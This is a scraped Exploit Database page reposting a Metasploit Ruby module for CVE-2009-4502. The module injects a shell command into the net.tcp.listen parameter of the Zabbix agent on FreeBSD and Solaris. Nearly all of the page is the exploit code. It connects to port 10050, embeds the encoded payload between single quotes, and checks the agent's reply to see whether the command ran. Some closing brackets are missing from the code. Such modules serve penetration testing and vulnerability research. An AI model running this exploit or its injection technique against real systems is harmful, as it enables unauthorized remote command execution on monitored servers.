Zabbix Agent – ‘net.tcp.listen’ Command Injection (Metasploit)

Exploit Database
139 阅读

作者： Metasploit

日期： 2010-07-03
类别：
- remote
平台：
- freebsd
来源：https://www.exploit-db.com/exploits/16918/

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# $Id: zabbix_agent_exec.rb 9669 2010-07-03 03:13:45Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Zabbix Agent net.tcp.listen Command Injection',

'Description'=> %q{

This module exploits a metacharacter injection vulnerability

in the FreeBSD and Solaris versions of the Zabbix agent. This flaw

can only be exploited if the attacker can hijack the IP address

of an authorized server (as defined in the configuration file).

'Author' => [ 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9669 $',

'References' =>

[

[ 'CVE', '2009-4502' ],

[ 'OSVDB', '60956' ],

[ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],

'Platform' => ['unix'],

'Arch' => ARCH_CMD,

'Privileged' => false,

'Payload'=>

{

'BadChars'=> "'",

'Space' => 1024,

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl telnet',

}

'Targets'=>

[

[ 'Automatic Target', { }]

'DefaultTarget'=> 0,

'DisclosureDate' => 'Sep 10 2009'))

register_options(

[

Opt::RPORT(10050)

], self.class)

end

def exploit

connect

rnd_port = rand(1024) + 1

buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"

print_status("Sending net.tcp.listen() request to the zabbix agent...")

sock.put(buf)

res = nil

begin

res = sock.get_once(-1, 5)

rescue ::EOFError

end

if ! res

print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")

disconnect

return

end

if (res =~ /ZBX_NOTSUPPORTED/)

print_status("The zabbix agent is not running a vulnerable version or operating system.")

disconnect

return

end

if(res !~ /ZBXD/)

print_status("The zabbix agent returned an unknown response.")

disconnect

return

end

print_status("The zabbix agent should have executed our command.")

disconnect

end